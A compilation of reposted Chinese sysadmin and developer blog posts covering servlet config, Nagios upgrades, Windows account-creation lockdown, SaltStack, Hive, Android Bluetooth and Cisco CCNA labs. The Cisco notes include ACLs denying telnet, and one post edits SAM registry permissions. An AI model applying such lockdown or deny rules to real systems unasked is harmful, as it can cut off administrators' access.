xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" version="3.0" > <display-name>hello</display-name> <description> hello </description> <!--定义控制器 --> <servlet> <servlet-name>Servlet</servlet-name> <servlet-class>com.lixiyu.action.HelloWorld</servlet-class> </servlet> <!-- 拦截/helloworld的请求 --> <servlet-mapping> <servlet-name>Servlet</servlet-name> <url-pattern>/HelloWorld</url-pattern> </servlet-mapping> </web-app> 启动Tomcat 然后在浏览器中输入http://localhost:8080/App/HelloWorld 即可看到运行结果 本文转自lixiyu 51CTO博客,原文链接:http://blog.51cto.com/lixiyu/1346681,如需转载请自行联系原作者
先将当前的nagios2.9备份cd /usr/localcp -r nagios nagios2.9cd /etc/init.d/cp nagios nagios2.9升级(从2.9到3.0.3)下载nagios-3.0.3首先大致的看一下里面的两篇文章whatsnew.html和upgrading.html介绍了新版的特点和升级方法然后开始升级工作解压缩后执行 ./configure --with-command-group=nagiosmake allmake install然后验证/usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg报两个warning和一个critical两个warning是:downtime_file 和 comment_file这两个文件已经不在使用,将他们的内容添加到state_retention_file这个文件的后面一个critical是:434行有错误,变量不能识别解决两个warning的方法如下:先将nagios.cfg中comments 和downtime变量注释掉# COMMENT FILE# This is the file that Nagios will use for storing host and service# comments.#comment_file=/usr/local/nagios/var/comments.dat# DOWNTIME FILE# This is the file that Nagios will use for storing host and service# downtime data.#downtime_file=/usr/local/nagios/var/downtime.dat查找state_retention_file=/usr/local/nagios/var/retention.dat然后执行cd /usr/local/nagios/varcat comments.dat >>retention.datcat downtime.dat >>retention.dat解决critical的方法如下注释掉434行的#check_result_buffer_slots=4096这个变量已经不在使用了。然后再验证启动nagios就没问题了需要说明:从2.x升级到3.x还有这样一点要注意Extended host and extended service definitions have been deprecated. They are still read and processed by Nagios, but it is recommended that you move the directives found in these definitions to your host and service definitions, respectively. 我配置的有extended service,但是里面的配置信息是nagios grapher自动生产的。况且3.x是可以读的,只是推荐写到service定义中而已。我这里并没有按照这条的建议。没对原来的配置做修改。Nagvis启动故障的排查更新nagios之后 启动nagvis需要的NDO组件/usr/local/nagios/bin/ndo2db -c /usr/local/nagios/etc/ndo2db.cfg提示Could not bind socket: Address already in use查看/usr/local/nagios/etc/ndo2db.cfg有这样的内容# SOCKET TYPE# This option determines what type of socket the daemon will create# an accept connections from.# Value:# unix = Unix domain socket (default)# tcp = TCP socketsocket_type=unix#socket_type=tcpsocket是unix类型的(是一个sock文件),而不是tcp类型的(tcp端口)原来是/usr/local/nagios/var/ndo.sock还存在(因为ndo是使用kill命令杀掉进程的)所以删掉这个.sock文件即可运行/usr/local/nagios/bin/ndo2db -c /usr/local/nagios/etc/ndo2db.cfg启动没问题,但是nagivs页面没打开查看进程也不对因为会有两个/usr/local/nagios/bin/ndo2db -c /usr/local/nagios/etc/ndo2db.cfg进程才是正常的查看重启nagios,查看启动日志,报错Error: Could not load module '/usr/local/nagios/bin/ndomod.o' -> /usr/local/nagios/var/spool/checkresults/nebmodeRKfDc: undefined symbol: find_serviceextinfo发现是程序版本的问题,要使用支持3.x的NDO下载ndoutils-1.4b7解压缩后执行./configure --with-mysql-lib=/usr/local/mysql/lib/mysql --with-mysql-inc=/usr/local/mysql/include/make将原来的备份[root@info src]# cd /usr/local/nagios/bin[root@info bin]# cp ndo2db ndo2db_2.x[root@info bin]# cp ndomod.o ndomod.o_2.x将正在运行的ndo杀掉,sock文件删掉然后转到刚刚make好的ndo的文件夹的src目录下[root@info var]# cd /home/nagios/ndoutils-1.4b7/src复制3.x版本的ndo程序[root@info src]# cp ndomod-3x.o /usr/local/nagios/bin/ndomod.o[root@info src]# cp ndo2db-3x /usr/local/nagios/bin/ndo2db启动NDO[root@info src]# /usr/local/nagios/bin/ndo2db -c /usr/local/nagios/etc/ndo2db.cfg重启nagios日志里面出现[1217822155] ndomod: NDOMOD 1.4b7 (10-31-2007) Copyright (c) 2005-2007 Ethan Galstad ([email]nagios@nagios.org[/email])[1217822155] ndomod: Successfully connected to data sink. 0 queued items to flush.[1217822155] Event broker module '/usr/local/nagios/bin/ndomod.o' initialized successfully.稍等一会nagvis页面就会正常出现了 本文转自yahoon 51CTO博客,原文链接:http://blog.51cto.com/yahoon/90970,如需转载请自行联系原作者
1.方案一:通过删除注册表键值使用户不能创建新用户 实现方法: 运行regedt32.exe 打开注册表,打开其中目录HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Groups 就是这个Groups 就是负责建立用户的。删掉它,系统就不能建立用户了,更谈不上提升为管理员了。所以,不过在这个操作之前,你必须要进行备份,必要的时候,可以还原。 备份方法:右键点击Groups 选择“导出”,给导出的文件起个名字,保存好,就可以了。 说明: 如果你进入注册表的时候,只能看到HKEY_LOCAL_MACHINE\SAM这一级目录,其他的都看不到。那是因为你权限不够,右键点击相应目录选择“权限”,把当前登录用户设置为“允许完全控制”就可以了。以此类推,一直找到Groups 目录为止。但是此方法彻底杜绝了组概念,在还原注册表之前将无法对用户组进行操作,因此不推荐。 2.通过组策略配合NET命令的NTFS权限实现 从建立账户的路径来考虑,用户创建账户的路径有一下三种: 1,通过命令行调用net 命令 2.通过计算机管理中的用户和组 3.通过控制面板用户账户创建 实现方法: 1.通过策略中的用户策略实现隐藏计算机管理中的用户和组与控制面板中的用户账户,如图: 图一策略禁用本地用户和组属性 图二用户登录系统计算机管理的菜单 2.通过策略中的用户策略实现隐藏控制面板中的用户账户 图三禁用控制面板中的用户帐户 图四用户登录系统后看到的界面 3.通过设置net.exe的NTFS权限,使power users组对系统盘C:\Windows\System32目录下的net.exe文件的权限为全部拒绝,如图: 图五net文件的权限设置 图六用户使用net命令的效果 结论:这样用户新建用户的三条路径都成功禁止了,并且策略与NTFS权限都是针对用户做的设置,如果计算机遇到故障,需要调用到相关程序,可以用本地管理员Administrator身份登录计算机,便不会受到策略以及NTFS权限的影响。 本文转自天鬼皇 51CTO博客,原文链接:http://blog.51cto.com/ghostlan/1301848,如需转载请自行联系原作者
系统环境: 1 2 3 4 5 6 7 [root@salt_server home]# ifconfig eth0 | grep "inet addr:" | awk -F: '{print $2}' | awk '{print $1}' 192.168.100.228 [root@salt_server home]# cat /etc/redhat-release CentOS release 6.3 (Final) [root@salt_server home]# uname -r 2.6.32-279.el6.x86_64 [root@salt_server home]# 下载地址 http://ftp.linux.ncsu.edu/pub/epel/6/x86_64/ 参考文章 http://docs.saltstack.cn/topics/installation/rhel.html 在安装之前需要注意几个包 1 2 3 4 5 6 7 8 9 Python 不用说大家都知道 这玩意就python写的 ZeroMQ 消息中间件相当于puppet的rabbitMQ、activeMQ PyCrypto Python密码工具包 M2Crypto 加密模块 是Python OpenSSL封装 msgpack-python 高性能的消息交换格式 YAML 不说大家都知道 文件格式 Jinja2 解析Salt States (在master配置文件中配置) MarkupSafe Implements a XML/HTML/XHTML Markup safe string for Python apache-libcloud 与大量的主流云服务提供者进行交互时统一API的Python类 在安装之前我们需要设置防火墙的端口 1 lokkit -p 4505:tcp -p 4506:tcp 一、安装master salt-master 2014.1.1版本 下载安装 记住路径下次直接安装不需要下载 如果想本地保存需要缓存 vim /etc/yum.conf keepcache=1 修改成1 安装master 17.0.5版本,首先要安装好本地源码 1 2 [root@salt_server mnt]# yum install python-jinja2 [root@salt_server mnt]# yum install salt-master 安装minion 17.0.5版本 1 2 [root@salt_client1 ~]# yum install python-jinja2 [root@salt_client1 ~]# yum install salt-minion 三、启动master [root@salt_server ~]# vim /etc/salt/master 如下是正确写法不然会报错 1 2 3 4 5 6 #interface: 0.0.0.0 interface: 192.168.100.228 [root@salt_server ~]# /etc/rc.d/init.d/salt-master start Starting salt-master daemon: [ OK ] [root@salt_server ~]# chkconfig --level 35 salt-master on [root@salt_server ~]# 四、修改minion然后启动 1 2 3 [root@salt_client1 ~]# cat /etc/salt/minion | grep 100.228 master: 192.168.100.228 这个maste可以填写maste的主机名也可以使ip地址 [root@salt_client1 ~]# 还需要修改id 这个ID是服务器标识客户端的东西,如果配置ID 服务端将是以ID的 名字为标准,需要注意 id: salt_client1 1 2 3 4 [root@salt_client1 ~]# /etc/rc.d/init.d/salt-minion start Starting salt-minion daemon: [ OK ] [root@salt_client1 ~]# chkconfig --level 35 salt-minion on [root@salt_client1 ~]# 五、在master上查看是否有客户端key的请求 1 2 3 4 5 6 [root@salt_server ~]# salt-key -L Accepted Keys: Unaccepted Keys: salt_client1 Rejected Keys: [root@salt_server ~]# 六、master来批准客户端的请求文件 ---------------A是通过客户端全部的请求文件 ---------------d是这个选项是删除证书请求文件 1 2 3 4 5 6 7 [root@salt_server ~]# salt-key -a salt_client1 The following keys are going to be accepted: Unaccepted Keys: salt_client1 Proceed? [n/Y] Y Key for minion salt_client1 accepted. [root@salt_server ~]# 如果不想去手动确认,那么我们修改配置文件就可以自动确认 修改配置文件vim /etc/salt/master #auto_accept: False 去掉其中的#号 把False修改成True就可以 查看key 1 2 3 4 5 6 7 8 [root@salt_server base]# salt-key -f salt_client1 Accepted Keys: salt_client1: 20:a6:2d:6b:24:4a:a9:bc:77:72:ba:6f:30:22:20:7f [root@salt_server base]# salt 'salt_client1' cmd.run 'salt-call key.finger --local' salt_client1: local: 20:a6:2d:6b:24:4a:a9:bc:77:72:ba:6f:30:22:20:7f [root@salt_server base]# 测试: 1 2 3 4 5 6 [root@salt_server ~]# salt 'salt*' test.ping salt_client1: True salt_client2: True [root@salt_server ~]# 本文转自devilangel 51CTO博客,原文链接:http://blog.51cto.com/devliangel/1431186,如需转载请自行联系原作者
今天在一台机器上查看java进行时,运行jps -m时报如下错误: 1 2 3 Error occurred during initialization of VM Could not reserve enough space for object heap Could not create the Java virtual machine. 但其实服务器的内存是充足的: 1 2 3 4 5 free -m total used free shared buffers cached Mem: 64412 27418 36994 0 174 13226 -/+ buffers/cache: 14018 50394 Swap: 0 0 0 这其实是由于一个系统的参数导致: vm.overcommit_memory 这个可以用来控制对应用分配内存的限制,默认是0,关于这个参数 1 2 3 4 5 6 7 8 9 10 11 0 — The default setting. The kernel performs heuristic memory overcommit handling by estimating the amount of memory available and failing requests that are blatantly invalid. Unfortunately, since memory is allocated using a heuristic rather than a precise algorithm, this setting can sometimes allow available memory on the system to be overloaded. 1 — The kernel performs no memory overcommit handling. Under this setting, the potential for memory overload is increased, but so is performance for memory-intensive tasks. 2 — The kernel denies requests for memory equal to or larger than the sum of total available swap and the percentage of physical RAM specified in overcommit_ratio. This setting is best if you want a lesser risk of memory overcommitment. 可以看出2是比较严格的限制,1是最宽松的限制,对于不同的应用对这个参数的要求页不一样。 比如对于greenplum来说,是不允许使用swap的,所以参数要设置为2. 而对于redis应用,因为在bgsave的时候,需要2倍的使用内存,所以建议设置为1. java的应用设置为0或1都是可以的。 本文转自菜菜光 51CTO博客,原文链接:http://blog.51cto.com/caiguangguang/1395596,如需转载请自行联系原作者
最近有个业务建表使用了 RegexSerDe,之前虽然也它来解析nginx日志,但是没有做深入的了解。这次看了下其实现方式。 建表语句: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 CREATE external TABLE ods_cart_log ( time_local STRING, request_json STRING, trace_id_num STRING ) PARTITIONED BY ( dt string, hour string ) ROW FORMAT SERDE 'org.apache.hadoop.hive.contrib.serde2.RegexSerDe' WITH SERDEPROPERTIES ("input.regex" = "\\\[(.*?)\\\] .*\\\|(.*?) (.*?) \\\[(.*?)\\\]", "output.format.string" ="%1$s %2$s %4$s") STORED AS TEXTFILE; 测试数据: 1 2 3 4 5 [2014-07-24 15:54:54] [6] OperationData.php: :89|{"action":"add","redis_key_hash":9,"time":"1406188494.73745500","source":"web", "mars_cid":"","session_id":"","info":{"cart_id":26885,"user_id":4,"size_id":"2784145", "num":"1","warehouse":"VIP_NH","brand_id":"7379","cart_record_id":26885,"channel":"te"}} trace_id [40618849399972881308] 这里trace_id_num按照猜想应该是第4个字段(即40618849399972881308),但是实际输出了第3个字段(trace_id) 查看其代码实现: RegexSerDe主要由下面三个参数: 1)input.regex 正则 2)output.format.string 输出格式 3)input.regex.case.insensitive 大小写是否敏感 其中input.regex用在反序列化方法中,即数据的读取(hive读取hdfs文件),相对的output.format.string 用在序列化的方法中,即数据的写入(hive写入hdfs文件)。 在反序列化的方法deserialize中有如下代码,用于返回代表匹配字段的数据: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 for (int c = 0; c < numColumns; c++) { //numColumns是按表中column的数量算的( 比如这个例子columnNames 是[time_local, request_json, trace_id_num] | numColumns = columnNames.size(); try { row.set(c, m.group(c + 1)); //可以看到字段的匹配从0开始,中间不会有跳跃, 所以这里select trace_id_num 字段是正则里面的第3个组,而和output.format.string没有关系 } catch (RuntimeException e) { partialMatchedRows++; if (partialMatchedRows >= nextPartialMatchedRows) { nextPartialMatchedRows = getNextNumberToDisplay(nextPartialMatchedRows); // Report the row LOG.warn("" + partialMatchedRows + " partially unmatched rows are found, " + " cannot find group " + c + ": " + rowText); } row.set(c, null); } } work around的方法有两个,1个是把所有正则匹配的字段列出,另一个就是更改正则的分组,只拿自己care的分组,比如上面可以改为 1 \\\[(.*?)\\\] .*\\\|(.*?) .*? \\\[(.*?)\\\] 这里output.format.string的设置仔细想想貌似没什么用,首先RegexSerDe的方式只在textfile下生效,即可以用load向hive的表中导入数据,但是load是一个hdfs层面的文件操作,不涉及到序列化,如果想使用序列化,需要使用insert into select的方式插入数据,但是这种方式插入的数据又和select的数据有关系,和output.format.string没什么关系了。。 其实regexserde类有两个 分别位于 1 ./serde/src/java/org/apache/hadoop/hive/serde2/RegexSerDe.java 和 1 ./contrib/src/java/org/apache/hadoop/hive/contrib/serde2/RegexSerDe.java 都是扩展了AbstractSerDe这个抽象类。通过代码可以看到contrib下的这个类是实现了serialize 和 deserialize 方法,而上面这个只实现了deserialize 方法,由此看来RegexSerDe中的serialize 方法可能是没什么用的。。 另外需要注意几点: 1.如果一行匹配不上,整个行的字段输出都是null 1 2 3 4 5 6 7 8 9 if (!m.matches()) { unmatchedRows++; if (unmatchedRows >= nextUnmatchedRows) { nextUnmatchedRows = getNextNumberToDisplay(nextUnmatchedRows); // Report the row LOG.warn("" + unmatchedRows + " unmatched rows are found: " + rowText); } return null; } 2.表的字段类型必须都是string,否则会报错,如果需要别的字段,可以在select中使用cast做转换 1 2 3 4 5 6 7 for ( int c = 0; c < numColumns ; c++) { if (!columnTypes.get(c).equals( TypeInfoFactory.stringTypeInfo)) { throw new SerDeException(getClass().getName() + " only accepts string columns, but column[" + c + "] named " + columnNames.get(c) + " has type " + columnTypes.get(c)); } } 本文转自菜菜光 51CTO博客,原文链接:http://blog.51cto.com/caiguangguang/1532987,如需转载请自行联系原作者
正文 一、结构 public final class BluetoothServerSocket extends Object implements Closeable java.lang.Object android.bluetooth.BluetoothServerSocket 二、概述 一个蓝牙监听端口。 蓝牙端口监听接口和TCP端口类似:Socket和ServerSocket类。在服务器端,使用BluetoothServerSocket类来创建一个 监听服务端口。当一个连接被BluetoothServerSocket所接受,它会返回一个新的BluetoothSocket来管理该连接。在客户 端,使用一个单独的BluetoothSocket类去初始化一个外接连接和管理该连接。 最通常使用的蓝牙端口是RFCOMM,它是被Android API支持的类型。RFCOMM是一个面向连接,通过蓝牙模块进行的数据流传输方式,它也被称为串行端口规范(Serial Port Profile,SPP)。 为了创建一个对准备好的新来的连接去进行监听BluetoothServerSocket类,使用 BluetoothAdapter.listenUsingRfcommWithServiceRecord()方法。然后调用accept()方法去监 听该链接的请求。在连接建立之前,该调用会被阻断,也就是说,它将返回一个BluetoothSocket类去管理该连接。每次获得该类之后,如果不再需 要接受连接,最好调用在BluetoothServerSocket类下的close()方法。关闭BluetoothServerSocket类不会关 闭这个已经返回的BluetoothSocket类。 BluetoothSocket类线程安全。特别的,close()方法总会马上放弃外界操作并关闭服务器端口。 注意:需要BLUETOOTH权限。 参见 BluetoothSocket 三、公共方法 public BluetoothSocketaccept (int timeout) 阻塞直到超时时间内的连接建立。 在一个成功建立的连接上返回一个已连接的BluetoothSocket类。 每当该调用返回的时候,它可以在此调用去接收以后新来的连接。 close()方法可以用来放弃从另一线程来的调用。 参数 timeout (译者注:阻塞超时时间) 返回值 已连接的 BluetoothSocket 异常 IOException 出现错误,比如该调用被放弃,或者超时。 public BluetoothSocket accept () 阻塞直到一个连接已经建立。(译者注:默认超时时间设置为-1,见源码) 在一个成功建立的连接上返回一个已连接的BluetoothSocket类。 每当该调用返回的时候,它可以在此调用去接收以后新来的连接。 close()方法可以用来放弃从另一线程来的调用。 返回值 已连接的 BluetoothSocket 异常 IOException 出现错误,比如该调用被放弃,或者超时。 public void close () 马上关闭端口,并释放所有相关的资源。 在其他线程的该端口中引起阻塞,从而使系统马上抛出一个IO异常。 关闭BluetoothServerSocket不会关闭接受自accept()的任意BluetoothSocket。 异常 IOException 本文转自over140 51CTO博客,原文链接:http://blog.51cto.com/over140/582522,如需转载请自行联系原作者
即将推出的佰志达SBO网上商城系统,针对现行使用SBO软件作为企业ERP管理的企业,进行网上销售,实现客户通过登录到企业网上商城进行即时订货业务,并未客户提供自服务界面,客户登录到商城中及时查询订单状态,查询业务往来,对于高信用等级的客户,可以客户信息修改的即时同步到SBO系统,和无需确认的SBO即时订货。 同时,佰志达SBO网上商城系统还提供了一个功能强大的商品展示模板--参见商品展示模板实例,具体包括: 产品相册支持。可以为每个产品建立产品相册,客户通过幻灯放映或者静态选择的方式对产品图片进行浏览,从而保障客户对产品外观的全面了解; 产品资源关联支持。佰志达将产品资源分为三类:视频资料,比如产品功能介绍、产品安装操作介绍等视频资料;下载文档,比如产品的操作手册、维护手册、驱动程序等;在线浏览,用于浏览互联网上的产品关联资料。产品资源既可以是站内的,也可以是站外的。视频播放支持直播、点播,支持企业自建的多媒体流服务。 多买多送支持。为了鼓励顾客购买,很多企业针对顾客对于某个商品的购买数量提供越卖越便宜的价格体系,我们也予以支持。当然,对于整单优惠、促销也是支持的,在这个屏幕上无法显示而已。我们还考虑支持在指定时段内买A物品送B物品的支持。 鉴于SBO对商品特征码的支持不够细致,佰志达网上商城在此方面做了广泛的扩展,对SBO经营商品进行了特征属性扩展支持,比如,本例中的颜色选择,不同的颜色对应不同的价格增减等。 至于其它方面如商品评论、商品对比等,应该说,多数网上商城也都是支持的,暂且不说。 支持上述功能的商品展示模板实例如下图所示: 本文转自foresun 51CTO博客,原文链接:http://blog.51cto.com/foresun/209668,如需转载请自行联系原作者
RIP实验 一:首先最重要的事情就是看清题目 弄清题目给你的信息,是确定其他的路由器没有问题,只有指定的一台有问题?还是不知道问题在那里,估计是所有的路由器都要检查一遍,这个很关键,看清了题目有事备功半的效果!可以避免做无谓的检查! 二:一般是出现如下的故障点给你处理 IP地址配错 你要仔细检查, NETWORK宣告有问题 一般是缺少,但是你要切记,RIP是有类的路由选择协议,在宣告的时候一定要使用标准的模式,比如 10.0.0.0 172.16.0.0 192.168.10.0 A B C三类一定要分清!同时记得 RIP只宣告和自己直连的网段,而且用标准模式. S0口上的时钟没有配置 这个你要到别的路由器上去看有的正确的配置,如果它是56000,你就56000,如果它是64000,你就64000 要你配IP地址 一般是给你一个网段,要你配第几个可用的子网的第一或最后或连续的那几个地址,一般要注意是否可以使用0子网,同时掩码千万要注意,有时给你的不是标准掩码端口SHUTDOWN要记得 NO SHUTDOWN 三:问题处理完后,千万要记得存盘! 具体的实验题目 你可以参考 TK46的第三题,要记得所有的命令 enable config terminal Interface Ethernet 0 ip address 134.163.6.1 255.255.255.0 no shutdown exit interface serial 0 ip address 10.88.0.1 255.255.255.0 no shutdown router rip (如果是要配置RIP Version 2的话还要加上version 2) network 10.0.0.0 network 134.163.0.0 exit copy running-config startup-config OSPF实验 一:首先最重要的事情就是看清题目 弄清题目给你的信息,是确定其他的路由器没有问题,只有指定的一台有问题?还是不知道问题在那里,估计是所有的路由器都要检查一遍,这个很关键,看清了题目有事倍功半的效果!可以避免做无谓的检查! 二:一般是出现如下的故障点给你处理 其中一个 OSPF 的域错误,比如属于AREA 0 写成AREA 1。这里说明一下,在同一个区域里的AREA必须一致!还有反掩码错误,用255.255.255.0,还有缺少通告,有一段网络没有宣告。在这里说明一下,其实OSPF的本意不是这样的,是做路由汇总的,但是在考试中是不现实的。考试主要是考基本,所以一般你就可以像RIP宣告那样,把你这台路由器连着的端口所属于的网段宣告一遍就可以了,但是和RIP的区别就是,宣告时候是无类的,所以要采用合适的反掩码,因为端口的地址一般是无类的,所以要宣告所有的和本端口在一个子网内的全部网段才行! 比如 192.168.100.5/30表示为 192.168.100.5 255.255.255.252宣告所有应该是192.168.100.4 0.0.0.3 如果是 192.168.5.0/22表示为 192.168.5.0 255.255.252.0宣告所有应该是192.168.4.0 0.0.3.255 标准的其实是最好宣告的,不标准的一般子网的网络地址和反掩码难计算一点!同时还要指明是属于哪个区域! 三:问题处理完后,千万要记得存盘! 下面是具体试验步骤: config t show run ( 一定要show run 看看这个路由器的OSPF掩码 和 域 是不是有错误, 三个hosts 都要 show run ,找到有问题的那个host 然后进行下面的操作) no router ospf 2 ( 你可以先show ip ospf 找到他的进程ID 我的是2 ) show ip ospf router ospf 2 (2是本台路由器的OPSF进程ID,只有本地意义,不必与其他路由器上的OSPF进程ID相同) network 网络号 反掩玛 areo 0 network 网络号 反掩玛 areo 0 exit copy run start VLAN实验 说明: (1)一般说给交换机配地址,一般指的就是给管理VLAN 1配一个经过计算的IP地址,往往给你一个地址,要你计算出最后一个或第一个可用IP地址什么的来!比如:VLAN还是老样子,叫我配192.168.64.65 255.255.255.224 的最后一个可用IP。这里的地址段是192.168.64.64到95 由于64和95不能用,所以最先一个可用地址是 192.168.64.65/27 ,最后一个可用的地址是192.168.64.94/27 (2) 注意考试的时候用vlan database进入配置模式也和conf t进入是一样的,都可以拿满分的请大家放心。 (3)注意给VLAN配管理地址是用的 SW#conf t SW(config)#interface vlan 1 SW(config -if)#ip address 10.0.0.1 255.255.255.0 SW(config -if)#no shutdown 大家可以把他认为是一个物理口(因为显示config-if),在这个基础上,可以配IP,还要记得 no shutdown 但是也可以使用 SW #vlan database SW(vlan)#interface vlan 1 SW(config -if)#ip address 10.0.0.1 255.255.255.0 SW(config -if)#no shutdown 大家注意没有,不管是用VLAN DATABASE进入,还是用CONFIG TERMINAL进入,最后敲INTERFACE VLAN 1都是(CONFIG-IF)#所以强烈建议用CONFIG TERMINAL 进入 题目:要求配新加的switch的 IP,缺省网关,找出VTP域名(在另一个switch上可以用show vtp status获得VTP domain信息,用SHOW RUNNING获得其他如缺省网关等等信息),并把新switch放在同一个域 ,模式为客户模式 配置实例: SW=2900系列 sw>en sw#config t sw(config)#interface vlan 1 sw(config-if)#ip address 192.168.10.1 255.255.255.0 sw(config-if)#no shutdown sw(config-if)#exit sw(config)#ip default-gateway 192.168.20.1 sw(config)#vtp domain domain-name sw(config)#vtp mode client (VTP模式也可以在database模式下配置) sw(config)#crtl-z sw#copy running-config startup-config SW=1900系列 Sw>enable Sw#config terminal (没有 VLAN DATABASE命令) Sw(config)# ip address 192.168.10.1 255.255.255.0 Sw(config)# ip default-gateway 192.168.20.1 Sw(config)#vtp domain domain-name Sw(config)#vtp server|client Sw(config)#exit 自动保存,不要考虑! (在2950上用SHOW VTP STATUS ,在1900上用SHOW VTP) ACL实验 一:首先最重要的事情就是看清题目 弄清题目给你的信息,是确定其他的路由器没有问题,只有指定的一台有问题?还是不知道问题在那里,估计是所有的路由器都要检查一遍,这个很关键,看清了题目有事倍功半的效果!可以避免做无谓的检查! 二:ACL实验一般没有什么错误,一般都是给出要求,让你把它配出来 参考的题目是 TK QUESTION N 54: Configure and apply an access list that will prevent telnet access to the TestKing1 router while allowing all other traffic to pass. 禁止到router QUESTION N 307: Configure and apply an access list that will block telnet traffic to all networks attached to the TestKing3 router while allowing all other traffic to pass. 禁止到路由器连接的网络 一定要看清楚题目,到底是要配置的禁止登陆到路由器连接的网络还是路由器本身。另外还要注意一个原则:标准列表要靠近接收方,而扩展访问列表要靠近发送方,要注意 IN OUT 的使用。 具体的步骤如下: 一:禁止访问路由器本身 tesking3>enable tesking3#show access-lists(要记得检查) tesking3#config terminal TestKing3(config)#access-list 101 deny tcp any 192.168.177.1 0.0.0.0 eq 23 TestKing3(config)#access-list 101 deny tcp any 192.168.133.2 0.0.0.0 eq 23 TestKing3(config)#access-list 101 permit ip any any TestKing3(config)#int e0 TestKing3(config-if)#ip access-group 101 in TestKing3(config-if)#exit TestKing3(config)#int s0 TestKing3(config-if)#ip access-group 101 in TestKing3(config-if)#exit TestKing3(config)#exit Tesking3#copy running startup 二禁止访问路由器所连的网络 tesking3>enable tesking3#show access-lists(要记得检查) tesking3#config terminal TestKing3(config)#access-list 101 deny tcp any 192.168.177.0 0.0.0.255 eq 23 TestKing3(config)#access-list 101 deny tcp any 192.168.133.0 0.0.0.255 eq 23 TestKing3(config)#access-list 101 permit ip any any TestKing3(config)#int e0 TestKing3(config-if)#ip access-group 101 out 注意是OUT TestKing3(config-if)#exit TestKing3(config)#int s1 TestKing3(config-if)#ip access-group 101 in TestKing3(config-if)#exit TestKing3(config)#exit Tesking3#copy running startup 其他的基本是大同小异 ISDN实验 根据战报,考试时要你配置一个基本ISDN的DDR拨号网络,会给你网络的拓扑,IP地址,网段,DIALER LIST ,号码串,封装,交换机的类型的。所以要熟练记得ISDN DDR的所有配置。 具体的配制步骤如下: 在全局模式下一共有3步,都为必须配:静态路由 ISDN交换机的类型拨号访问列表(含访问列表自己)(含认证的远程USER NAME 和本地密码) router>enable router#config terminal router(config)#isdn switch-type basic-5ess router(config)#username routerb password Richard router(config)#ip route 192.168.3.0 255.255.255.0 192.168.1.2 router(config)#dialer-list 1 protocol ip permit access-list 100 router(config)#access-list 100 permit tcp any any eq telnet 在BRI接口模式下的配置共有6步, 其中5步是必须配置: NO SHUTDOWN IP ADDRESS ENCAPSULATION PPP|HDLC(含认证) 激活 DIALER-GROUP 访问列表号 映射 DIALER MAP 。。。 有1步为可选: ISDN的SPID在BRI的两个B道的配置 router(config)#inter bri 0 router(config-if)#no shutdown router(config-if)#encapsulation ppp router(config-if)#ppp authentication chap router(config-if)#ip address 192.168.1.1 255.255.255.0 router(config-if)#dialer-group 1 router(config-if)#dialer map ip 192.168.1.2 name routerb 7245584321 router(config-if)#isdn spid1 spid1号码 本地呼叫号码 router(config-if)#isdn spid2 spid2号码 本地呼叫号码 具体说明如下: 第一:配置ISDN交换机的类型 第二:配远端的路由器的名称和认证密码 第三:配静态路由,去192.168.3.0网段要下一跳到192.168.1.2上去 第四:定义敏感流量的列表的列表号为1,协议用IP 允许访问列表 100。如果不写访问列表,则表示允许所有的这个协议的流量通过 第五:访问列表100允许从任何地方到任何地方的TELNET流量,同时禁止其他流量,访问列表可以是标准和扩展 第六:进入 接口BRI 0 配置模式 第七:NO SHUTDOWN 第八:封装PPP 第九:PPP认证用CHAP 第十:给自己配地址,不然怎么在广域上和192.168.1.2通讯 第十一:用DIALER-GROUP 敏感流量的列表号 激活创建的拨号列表 第十二:配置拨号映射,DIALER MAP 协议名称 远端下一跳地址(192.168.1.2) NAME 远端路由器名称(ROUTERB) 自己本地呼叫号码 第十三:可选配置 ISDN的SPID配置,ISDN SPID 1和SPID2 然后是给你的SPID号码 本地呼叫 FR实验 FR基本没有出过实验,但是把FR的配置步骤写出来,也好! 具体配置步骤如下: FR在接口的配置模式下有五个步骤,其中必须的有三个步骤 IP ADDRESS NO SHUTDOWN ENCAP 可选的有两个 FRAME LMI FRAME MAP 协议 下一跳地址 本地DLCI BROADCATS route>enable route#config terminal router(config)#interface serial 0 router(config-if)#no shutdown 打开端口 router(config-if)#encapsulation frame-delay cisco|ietf 封装指定 router(config-if)#frame-delay lmi-type ansi|q933a|cisco LMI类型指定 router(config-if)#ip address 192.168.10.1 255.255.255.0 配IP地址 router(config-if)#frame-delay map 协议名称 目标地址 本地DLCI broadcast cisco|ietf 映射远端的IP和自己DLCI捆绑 router(config-if)#exit router(config)#exit router#copy running startup 上面是最原始的手动的PVC的配置全过程! 在新版的CISCO IOS中,是可以自动检测本地LMI的类型的,同时如果使用逆向ARP功能的话,MAP的映射也是不需要的! 所以最简单的配置是如下 route>enable route#config terminal router(config)#interface serial 0 router(config-if)#no shutdown 切记打开端口 router(config-if)#encapsulation frame-delay cisco|ietf router(config-if)#ip address 192.168.10.1 255.255.255.0 router(config-if)#exit router(config)#exit router#copy running startup NAT(PAT)实验 interface s0/0 ip address ***** ***** ip nat outside interface fastEthnet 0/0 ip address ***** ***** ip nat inside access-list 1 permit 192.168.117.128 0.0.0.63 ip nat pool internet 198.18.131.65 198.18.131.70 netmask 255.255.255.248 ip nat inside source list 1 pool internet overload ip route 0.0.0.0 0.0.0.0 输出接口名/下一跳接口IP copy run star 实验是大头,所以哪怕时间超过一点也好,一定要反复认真小心作题目,慢点扣分总比快了错掉一分都得不到好!而且根据最近1000分的战报,做了30分钟,也没有扣分,所以大家大可放心! 本文转自Sunshyfangtian 51CTO博客,原文链接:http://blog.51cto.com/sunshyfangtian/427202,如需转载请自行联系原作者
